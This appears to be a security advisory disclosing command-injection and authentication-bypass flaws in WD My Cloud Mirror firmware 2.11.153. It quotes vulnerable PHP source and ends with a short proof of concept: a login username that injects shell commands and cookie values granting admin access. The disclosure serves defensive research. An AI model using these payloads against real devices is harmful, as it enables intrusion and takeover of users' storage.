WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass

Homepage:

http://support.wdc.com/downloads.aspx?g=907&lang=en#firmware

Description:

I use firmware 2.11.153 which is available here.

It’s possible to execute arbitrary commands using login form because exec() function is used without using escapeshellarg() or escapeshellcmd().

So we can create string which looks like this: wto -n "a" || other_command || "" -g which means that wto and other_command will be executed.

File: index.php

function do_login($username)
{
	$ret = 0; //no login;

	if ($username != "")
	{
		/* [+] Get Web Timeout setting */
		$res = array();
		exec("xmldbc -g /system_mgr/idle/time", $res);
		$web_timeout = $res[0]*60;
		/* [-] Get Web Timeout setting */

		$cmd = sprintf("wto -n \"$username\" -g");
		exec($cmd, $ret);
		sscanf($ret[0], "timeout : %d", $timeout_val);

		// I skip more output
	}
}

if (do_login($_POST['username']) == 1)
{
	$_SESSION['username'] = $_POST['username'];
	setcookie('username', $_POST['username']);
}

There’re few more places with not escaped parameters $_GET["vv_sharename"]:

File: php\chk_vv_sharename.php

$vv_sharename = $_GET['vv_sharename'];
	
if(empty($_GET["vv_sharename"])) 
{
	echo 'Parameter vv_sharename is missing.';
	return;
}

$cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
system($cmd);

Not escaped param $_POST['oldName']:

File: php\modUserName.php

$oldName = $_POST['oldName'];
$cmd = "wto -n \"$oldName\" -d ";
system($cmd,$retval);

Not escaped param $_COOKIE['username']:

File: php\upload.php

$username = $_COOKIE['username'];
exec("wto -n \"$username\" -g", $ret);

Inside lib/login_checker.php there is login_check() function which is used to check if user is logged, but it’s possible to bypass this function because it simply check if $_COOKIE['username'] and $_COOKIE['isAdmin'] exist.

function login_check()
{
	$ret = 0;
	
	if (isset($_SESSION['username']))
	{
		if (isset($_SESSION['username']) && $_SESSION['username'] != "")
		$ret = 2; //login, normal user

		if ($_SESSION['isAdmin'] == 1)
			$ret = 1; //login, admin
	}
	else if (isset($_COOKIE['username']))
	{
		if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
		$ret = 2; //login, normal user

		if ($_COOKIE['isAdmin'] == 1)
			$ret = 1; //login, admin
	}
	
	

	return $ret;
}

Proof of Concept:

For RCE simply use as username for example:

a" || your_command_to_execute || "

For bypass authentication set COOKIES:

username=1; isAdmin=1

and then visit for example php/users.php

Timeline: